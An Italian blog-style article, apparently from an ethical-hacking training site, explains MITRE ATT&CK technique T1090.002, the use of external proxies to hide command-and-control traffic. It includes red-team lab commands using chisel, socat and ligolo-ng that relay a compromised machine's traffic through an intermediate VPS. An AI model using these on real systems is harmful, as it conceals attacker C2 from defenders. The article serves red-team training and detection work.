Proxy Esterno per il C2: External Proxy (T1090.002)

Quando un avversario compromette un sistema, raramente lo collega direttamente al proprio server di comando e controllo. È troppo rumoroso, troppo tracciabile. La tecnica External Proxy descrive l'uso di un nodo intermedio — un proxy esterno posizionato su Internet — per mascherare la reale destinazione del traffico C2. Il sistema vittima comunica con il proxy, e il proxy inoltra tutto al server dell'attaccante, creando una separazione che complica enormemente l'attribuzione.

Questa tecnica si colloca nella tattica Command and Control (TA0011), la fase della kill chain in cui l'attaccante stabilisce e mantiene il canale di comunicazione con i sistemi compromessi. Gli strumenti per realizzarla sono numerosi e ben noti: HTRAN, ZXProxy, ZXPortMap sono i classici, ma il panorama si è ampliato con tool moderni che sfruttano SOCKS5, tunnel HTTP e redirect su porte arbitrarie.

L'infrastruttura proxy può consistere in sistemi precedentemente compromessi, VPS acquistati presso cloud provider, o dispositivi SOHO trasformati in botnet. L'obiettivo è sempre lo stesso: scegliere un hop intermedio che appaia legittimo e che difficilmente venga investigato. Con 11 gruppi APT, 10 software e 1 campagna documentati, questa tecnica rappresenta uno dei pilastri operativi del C2 moderno. La mitigazione ufficiale punta sull'intrusion prevention basato su signature di rete, ma come vedremo, la detection comportamentale è spesso più efficace.


Per simulare un'infrastruttura C2 con proxy esterno in laboratorio servono almeno tre nodi: la macchina vittima, un VPS che funge da proxy e il server C2. L'obiettivo è dimostrare al cliente che il traffico verso il proxy appare innocuo, mentre il C2 reale resta invisibile ai log perimetrali.

Chisel (open source) è lo strumento più versatile per questo scenario. Si tratta di un tunnel HTTP/SOCKS5 scritto in Go, compilabile in un singolo binario senza dipendenze. Sul VPS-proxy si lancia il server:

chisel server --port 8080 --reverse

Sulla macchina vittima, il client stabilisce un tunnel SOCKS5 inverso che transita dal proxy:

chisel client <IP-VPS-PROXY>:8080 R:1080:socks

A questo punto qualsiasi tool C2 configurato per usare un proxy SOCKS5 su localhost:1080 del VPS instraderà il traffico attraverso il nodo intermedio. Mythic (open source), il framework C2 già documentato come software associato a questa tecnica, supporta nativamente un proxy SOCKS5 modificato per tunnelizzare il traffico egress — la configurazione si gestisce direttamente dal profilo dell'agente.

Su Linux, un approccio più minimale sfrutta socat (open source) come port redirector sul nodo proxy:

socat TCP-LISTEN:443,fork TCP:<IP-C2-REALE>:443

Tutto il traffico HTTPS ricevuto dal proxy sulla porta 443 viene inoltrato trasparentemente al C2. Per il difensore, l'unica destinazione visibile nei log è l'IP del proxy.

Per scenari che replicano l'uso di HTRAN — lo strumento citato da GALLIUM — il tool è disponibile come sorgente C compilabile. La sua funzione è identica: riceve connessioni su una porta e le reindirizza verso un'altra destinazione. In laboratorio, ligolo-ng (open source) offre un'alternativa moderna con interfaccia TUN, tunneling automatico e nessuna necessità di SOCKS:

ligolo-ng --tun --selfcert

Per la validazione, la catena d'attacco prevede di verificare con Wireshark (open source) che dal segmento della vittima non sia mai visibile l'IP del C2 reale. Solo l'IP del proxy deve comparire nelle catture. Un secondo controllo utile è eseguire un'analisi Netflow per confermare che i pattern di traffico tra vittima e proxy siano distinguibili da navigazione legittima — se lo sono, il red team ha margine per migliorare la simulazione.


Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo